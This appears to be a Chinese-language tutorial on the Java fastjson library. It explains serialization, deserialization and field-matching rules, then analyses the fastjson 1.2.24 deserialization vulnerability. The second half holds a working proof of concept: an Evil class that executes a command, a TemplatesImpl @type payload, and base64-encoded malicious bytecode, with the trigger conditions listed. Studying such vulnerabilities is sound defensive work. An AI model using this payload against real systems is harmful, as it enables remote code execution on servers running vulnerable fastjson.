基本使用
maven
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
序列化
package fastjsonHelloWorld;
public class User {
private String name;
private Integer age;
private String email;
public String getName_1() {
return name;
}
public void setName_1(String name) {
this.name = name;
}
public Integer getAge() {
return age;
}
public void setAge(Integer age) {
this.age = age;
}
public String toString() {
return "name:" + name + " age:" + age + " email:" + email;
}
}
package fastjsonHelloWorld;
import java.util.ArrayList;
import java.util.List;
import com.alibaba.fastjson.JSON;
public class fastjsonSerialize {
public static void main(String[] args) {
User user = new User();
user.setName_1("xiaomin");
user.setAge(18);
String json = JSON.toJSONString(user);
System.out.println(json);
List<User> users = new ArrayList<User>();
users.add(user);
String jsonlist = JSON.toJSONString(users);
System.out.println(jsonlist);
}
}
输出:
{"age":18,"name_1":"xiaomin"}
[{"age":18,"name_1":"xiaomin"}]
反序列化
package fastjsonHelloWorld;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
public class fastjsonDeserialize {
public static void main(String[] args) {
String json = "{\"@type\":\"fastjsonHelloWorld.User\",\"name_1\":\"xiaomin\",\"age\":20, \"email\":\"xxx@qq.com\"}";
User user = (User) JSON.parse(json);
System.out.println(user.toString());
Object obj = JSON.parseObject(json, Object.class, Feature.SupportNonPublicField);
System.out.println(obj);
}
}
输出:
name:xiaomin age:20 email:null
name:xiaomin age:20 email:xxx@qq.com
get/set方法匹配规则
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.smartMatch(String key)匹配get/set方法时,会去掉field前的_和-,并忽略大小写。
public FieldDeserializer smartMatch(String key)
{
if (key == null) {
return null;
}
FieldDeserializer fieldDeserializer = getFieldDeserializer(key);
FieldDeserializer fieldDeser;
if (fieldDeserializer == null)
{
boolean startsWithIs = key.startsWith("is");
for (fieldDeser : this.sortedFieldDeserializers)
{
FieldInfo fieldInfo = fieldDeser.fieldInfo;
Class<?> fieldClass = fieldInfo.fieldClass;
String fieldName = fieldInfo.name;
if (fieldName.equalsIgnoreCase(key))
{
fieldDeserializer = fieldDeser;
break;
}
if ((startsWithIs) && ((fieldClass == Boolean.TYPE) || (fieldClass == Boolean.class))) {
if (fieldName.equalsIgnoreCase(key.substring(2)))
{
fieldDeserializer = fieldDeser;
break;
}
}
}
}
boolean snakeOrkebab;
String key2;
int i;
if (fieldDeserializer == null)
{
snakeOrkebab = false;
key2 = null;
char ch;
for (i = 0; i < key.length(); i++)
{
ch = key.charAt(i);
if (ch == '_')
{
snakeOrkebab = true;
key2 = key.replaceAll("_", "");
break;
}
if (ch == '-')
{
snakeOrkebab = true;
key2 = key.replaceAll("-", "");
break;
}
}
if (snakeOrkebab)
{
fieldDeserializer = getFieldDeserializer(key2);
if (fieldDeserializer == null)
{
FieldDeserializer[] arrayOfFieldDeserializer2 = this.sortedFieldDeserializers;ch = arrayOfFieldDeserializer2.length;
for (fieldDeser = 0; fieldDeser < ch; fieldDeser++)
{
FieldDeserializer fieldDeser = arrayOfFieldDeserializer2[fieldDeser];
if (fieldDeser.fieldInfo.name.equalsIgnoreCase(key2))
{
fieldDeserializer = fieldDeser;
break;
}
}
}
}
}
if (fieldDeserializer == null) {
for (FieldDeserializer fieldDeser : this.sortedFieldDeserializers) {
if (fieldDeser.fieldInfo.alternateName(key))
{
fieldDeserializer = fieldDeser;
break;
}
}
}
return fieldDeserializer;
}
总结
- 反序列化时需要输入的json字符串指定@type
- 对于private成员,默认通过匹配get/set方法来反序列化,匹配不到则无法反序列化类成员变量。
- 对于public成员,默认通过匹配get/set方法来反序列化,匹配不到则直接匹配类成员名;再匹配不到则无法反序列化类成员变量。
- 如果开启Feature.SupportNonPublicField,则private成员反序列化规则同public成员。
- 类成员和类方法的匹配规则为smartMatch,去掉field前的_和-,并忽略大小写
漏洞分析
POC
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.4</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.9</version>
</dependency>
</dependencies>
package fastjsonHelloWorld;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {
public Evil() throws IOException {
Runtime.getRuntime().exec("calc");
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
}
}
package fastjsonHelloWorld;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
public class fastjsonPOC {
public static String aposToQuotes(String json){
return json.replace("'", "\"");
}
public static String readClassStr(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}
public static void main(String[] args) throws Exception {
String evilcode = readClassStr("D:\\Users\\workspace\\fastjsonHelloWorld\\target\\classes\\fastjsonHelloWorld\\Evil.class");
//{"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": ["yv66vgAAADEALAcAAgEAF2Zhc3Rqc29uSGVsbG9Xb3JsZC9FdmlsBwAEAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEABjxpbml0PgEAAygpVgEACkV4Y2VwdGlvbnMHAAkBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAEQ29kZQoAAwAMDAAFAAYKAA4AEAcADwEAEWphdmEvbGFuZy9SdW50aW1lDAARABIBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CAAUAQAEY2FsYwoADgAWDAAXABgBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAGUxmYXN0anNvbkhlbGxvV29ybGQvRXZpbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHACABADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhACEAAQADAAAAAAADAAEABQAGAAIABwAAAAQAAQAIAAoAAABAAAIAAQAAAA4qtwALuAANEhO2ABVXsQAAAAIAGQAAAA4AAwAAAAkABAAKAA0ACwAaAAAADAABAAAADgAbABwAAAABAB0AHgACAAcAAAAEAAEAHwAKAAAAPwAAAAMAAAABsQAAAAIAGQAAAAYAAQAAAA4AGgAAACAAAwAAAAEAGwAcAAAAAAABACEAIgABAAAAAQAjACQAAgABAB0AJQACAAcAAAAEAAEAHwAKAAAASQAAAAQAAAABsQAAAAIAGQAAAAYAAQAAABMAGgAAACoABAAAAAEAGwAcAAAAAAABACEAIgABAAAAAQAmACcAAgAAAAEAKAApAAMAAQAqAAAAAgAr"],"_name": "a.b","_tfactory": {},"_outputProperties": {}}
String json = aposToQuotes(
"{" +
"'@type': 'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl'," +
"'_bytecodes': " + "['" + evilcode + "']," +
"'_name': 'a.b'," +
"'_tfactory': {}," +
"'_outputProperties': {}" +
"}");
System.out.println(json);
JSON.parseObject(json,Object.class,Feature.SupportNonPublicField);
}
}
触发条件
- fastjson <= 1.2.24
- Feature.SupportNonPublicField